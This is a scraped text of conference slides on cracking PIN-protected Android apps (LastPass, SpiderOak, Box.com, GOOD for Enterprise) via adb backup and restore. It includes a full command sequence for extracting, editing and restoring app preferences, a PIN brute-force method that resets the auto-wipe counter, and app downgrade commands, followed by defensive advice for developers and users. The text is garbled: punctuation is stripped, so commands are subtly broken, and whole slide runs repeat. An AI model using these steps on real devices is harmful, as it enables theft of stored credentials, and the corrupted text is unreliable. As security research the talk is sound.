Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 105: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 106: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

